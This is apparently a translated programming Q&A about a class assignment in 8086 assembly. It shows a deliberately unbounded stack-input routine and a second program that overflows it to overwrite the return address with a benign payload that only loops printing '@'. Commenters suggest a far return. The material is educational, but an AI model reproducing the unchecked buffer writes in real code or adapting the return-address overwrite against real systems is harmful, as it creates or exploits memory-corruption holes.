我得到了一個編寫程序的分配。一個從用戶處獲得輸入,使用一個函數在堆棧中分配一個字符串,並一次寫入一個字符,直到獲得「Enter」。另一個使用第一個缺陷並通過堆棧溢出的程序會更改函數的返回地址,並將其指向惡意代碼(我寫入堆棧)。(程序集8086)我如何從一個函數返回到另一個段?
我的問題是該函數不會返回到我放入堆棧的地址(在StackSegment中),而只是轉到CodeSegment中的地址。 這是獲取輸入功能:(從堆棧中printStr FUNC打印)
getStr PROC
push bp
mov bp, sp
add bp, 2
push ax
push dx
push di
push ds
sub sp, 10
mov di, sp
mov ah, 01
strToStack:
int 21h
cmp al, 0dh
je endLoop
mov byte ptr ss:[di], al
inc di
jmp strToStack
endLoop:
mov byte ptr ss:[di], '$'
lea dx, new_line
mov ah, 09
int 21h
push ss
pop ds
push sp
call printStr
add sp, 10
pop ds
pop di
pop dx
pop ax
pop bp
ret
endp
這是惡意代碼寫入文本文件,我使用的第一程序的程序:
.model small
.stack 100
.code
main proc
push @data
pop ds
push ds
push cs
pop ds
lea dx, implant
mov ah, 09
int 21h
pop ds
exit:
mov ah, 4ch
int 21h
endp
implant:
blank db '@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@'
real_address dd 0066h, 3182h
mov ah, 2
mov dl, '@'
loopy:
int 21h
jmp loopy
finish db 0dh,'$'
end main
如果允許修改程序,則可以使用遠程返回,然後返回地址也會包含該段。 – Jester
要從遠程呼叫返回,您可以使用很遠的回報。 – m0skit0